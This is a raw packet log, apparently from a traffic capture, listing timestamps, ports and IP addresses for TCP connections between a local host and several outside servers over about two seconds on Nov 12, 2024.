Nov 12, 2024 10:37:09.546190977 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.546231985 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.578279972 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.578304052 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.578316927 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.578331947 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.578356981 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.578394890 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.578444958 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.578512907 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.578526020 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.578536034 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.578547955 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.578563929 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.578594923 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.578733921 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.578823090 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.578835011 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.578852892 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.578876972 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.578944921 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.579000950 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.579005003 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.579015017 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.579041958 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.579066992 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.579113007 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.579153061 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.579262018 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.579303026 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.579310894 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.579322100 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.579345942 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.579356909 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.579473019 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.579485893 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.579495907 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.579562902 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.579660892 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.579672098 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.579713106 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.579879045 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.579922915 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.579924107 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.579963923 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.614315987 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.614379883 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.614404917 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.614439964 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.614444017 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.614454031 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.614476919 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.614496946 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.614521980 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.614562035 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.614624977 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.614636898 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.614677906 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.614722967 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.614733934 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.614742994 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.614768982 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.614782095 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.614839077 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.614885092 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.614911079 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.614923954 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.614949942 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.614964008 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.615067959 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.615080118 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.615112066 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.615201950 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.615212917 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.615252972 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.615294933 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.615344048 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.615345001 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.615358114 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.615392923 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.615516901 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.615567923 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.615597963 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.615609884 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.615679026 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.615725994 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.615736961 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.615767002 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.615797997 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.651335955 CET	443	49711	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:09.651355982 CET	443	49711	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:09.651417971 CET	49711	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:09.651442051 CET	443	49711	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:09.651454926 CET	49711	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:09.651487112 CET	49711	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:09.662667036 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.662686110 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.662698984 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.662765026 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.662779093 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.662791014 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.662794113 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.662802935 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.662816048 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.662822008 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.662841082 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.662866116 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.663033962 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.663079023 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.663084030 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.663098097 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.663121939 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.663137913 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.663157940 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.663211107 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.663261890 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.663275003 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.663316965 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.663373947 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.663422108 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.695283890 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.695363998 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.695374966 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.695405960 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.695421934 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.695494890 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.695508003 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.695519924 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.695535898 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.695573092 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.695605993 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.695652962 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.695712090 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.695724964 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.695751905 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.695763111 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.695802927 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.695848942 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.695854902 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.695862055 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.695884943 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.695899010 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.696042061 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.696053982 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.696063995 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.696075916 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.696089983 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.696118116 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.696268082 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.696315050 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.696716070 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.696760893 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.696784973 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.696796894 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.696830988 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.696861029 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.696898937 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.696907997 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.696947098 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.697010994 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.697022915 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.697032928 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.697058916 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.697083950 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.731381893 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.731400967 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.731426954 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.731445074 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.731445074 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.731458902 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.731462955 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.731473923 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.731486082 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.731530905 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.731585979 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.731621981 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.731623888 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.731640100 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.731659889 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.731669903 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.731720924 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.731764078 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.731811047 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.731832981 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.731844902 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.731848955 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.731870890 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.731884956 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.731969118 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.732012033 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.732053041 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.732065916 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.732094049 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.732110977 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.732333899 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.732383966 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.732399940 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.732412100 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.732436895 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.732450008 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.732496977 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.732541084 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.732568026 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.732610941 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.732664108 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.732676029 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.732686996 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.732711077 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.732736111 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.732867002 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.732878923 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:09.732916117 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:09.768779039 CET	443	49711	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:09.768798113 CET	443	49711	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:09.768908978 CET	49711	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:09.768937111 CET	443	49711	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:09.769071102 CET	49711	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:09.886207104 CET	443	49711	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:09.886226892 CET	443	49711	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:09.886354923 CET	49711	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:09.886373997 CET	443	49711	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:09.886416912 CET	49711	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:10.003915071 CET	443	49711	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:10.003937006 CET	443	49711	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:10.004065037 CET	49711	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:10.004077911 CET	443	49711	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:10.004123926 CET	49711	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:10.098486900 CET	443	49711	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:10.098516941 CET	443	49711	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:10.098561049 CET	49711	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:10.098587036 CET	443	49711	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:10.098613977 CET	49711	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:10.098624945 CET	49711	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:10.122534037 CET	443	49711	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:10.122560024 CET	443	49711	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:10.122611046 CET	49711	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:10.122637987 CET	443	49711	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:10.122652054 CET	49711	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:10.122675896 CET	49711	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:10.239283085 CET	443	49711	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:10.239305019 CET	443	49711	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:10.239382029 CET	49711	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:10.239398003 CET	443	49711	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:10.239443064 CET	49711	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:10.355801105 CET	443	49711	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:10.355819941 CET	443	49711	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:10.355891943 CET	49711	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:10.355906010 CET	443	49711	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:10.355946064 CET	49711	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:10.474533081 CET	443	49711	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:10.474550009 CET	443	49711	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:10.474632978 CET	49711	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:10.474648952 CET	443	49711	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:10.474689960 CET	49711	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:10.475673914 CET	443	49711	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:10.475688934 CET	443	49711	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:10.475732088 CET	49711	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:10.475739956 CET	443	49711	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:10.475805998 CET	49711	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:10.590862989 CET	443	49711	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:10.590884924 CET	443	49711	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:10.590970993 CET	49711	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:10.590984106 CET	443	49711	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:10.591025114 CET	49711	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:10.707762003 CET	443	49711	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:10.707782984 CET	443	49711	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:10.707865953 CET	49711	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:10.707878113 CET	443	49711	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:10.707915068 CET	49711	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:10.708125114 CET	443	49711	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:10.708178997 CET	49711	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:10.708185911 CET	443	49711	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:10.708198071 CET	443	49711	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:10.708228111 CET	49711	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:10.708256006 CET	49711	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:10.817023993 CET	49711	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:10.817058086 CET	443	49711	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:10.817080021 CET	49711	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:10.817086935 CET	443	49711	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:11.073824883 CET	49715	443	192.168.2.6	142.250.185.196
Nov 12, 2024 10:37:11.073832035 CET	443	49715	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:11.073878050 CET	49715	443	192.168.2.6	142.250.185.196
Nov 12, 2024 10:37:11.074012995 CET	49716	443	192.168.2.6	142.250.185.196
Nov 12, 2024 10:37:11.074047089 CET	443	49716	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:11.074095011 CET	49716	443	192.168.2.6	142.250.185.196
Nov 12, 2024 10:37:11.074155092 CET	49717	443	192.168.2.6	142.250.185.196
Nov 12, 2024 10:37:11.074187040 CET	443	49717	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:11.074248075 CET	49717	443	192.168.2.6	142.250.185.196
Nov 12, 2024 10:37:11.074378967 CET	49715	443	192.168.2.6	142.250.185.196
Nov 12, 2024 10:37:11.074389935 CET	443	49715	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:11.074517965 CET	49716	443	192.168.2.6	142.250.185.196
Nov 12, 2024 10:37:11.074532032 CET	443	49716	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:11.074656010 CET	49717	443	192.168.2.6	142.250.185.196
Nov 12, 2024 10:37:11.074671030 CET	443	49717	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:11.117872953 CET	49718	443	192.168.2.6	142.250.185.196
Nov 12, 2024 10:37:11.117914915 CET	443	49718	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:11.117995977 CET	49718	443	192.168.2.6	142.250.185.196
Nov 12, 2024 10:37:11.118314028 CET	49718	443	192.168.2.6	142.250.185.196
Nov 12, 2024 10:37:11.118335009 CET	443	49718	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:11.205250025 CET	49719	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:11.205284119 CET	443	49719	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:11.205353975 CET	49719	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:11.209439993 CET	49719	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:11.209455967 CET	443	49719	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:11.209506989 CET	49720	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:11.209548950 CET	443	49720	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:11.209604979 CET	49720	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:11.209779024 CET	49720	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:11.209794998 CET	443	49720	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:11.211195946 CET	49721	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:11.211210966 CET	443	49721	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:11.211273909 CET	49721	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:11.211464882 CET	49721	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:11.211478949 CET	443	49721	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:11.215578079 CET	49722	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:11.215593100 CET	443	49722	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:11.215662003 CET	49722	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:11.215836048 CET	49723	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:11.215845108 CET	443	49723	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:11.215893984 CET	49723	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:11.216497898 CET	49722	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:11.216512918 CET	443	49722	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:11.216684103 CET	49723	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:11.216695070 CET	443	49723	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:11.932540894 CET	443	49716	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:11.932709932 CET	49716	443	192.168.2.6	142.250.185.196
Nov 12, 2024 10:37:11.932727098 CET	443	49716	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:11.933764935 CET	443	49716	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:11.933831930 CET	49716	443	192.168.2.6	142.250.185.196
Nov 12, 2024 10:37:11.934180021 CET	443	49719	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:11.934668064 CET	49716	443	192.168.2.6	142.250.185.196
Nov 12, 2024 10:37:11.934731960 CET	49719	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:11.934736967 CET	443	49716	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:11.934763908 CET	443	49719	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:11.934803963 CET	49716	443	192.168.2.6	142.250.185.196
Nov 12, 2024 10:37:11.934812069 CET	443	49716	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:11.935365915 CET	49719	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:11.935372114 CET	443	49719	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:11.939384937 CET	443	49722	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:11.939752102 CET	49722	443	192.168.2.6	13.107.246.45
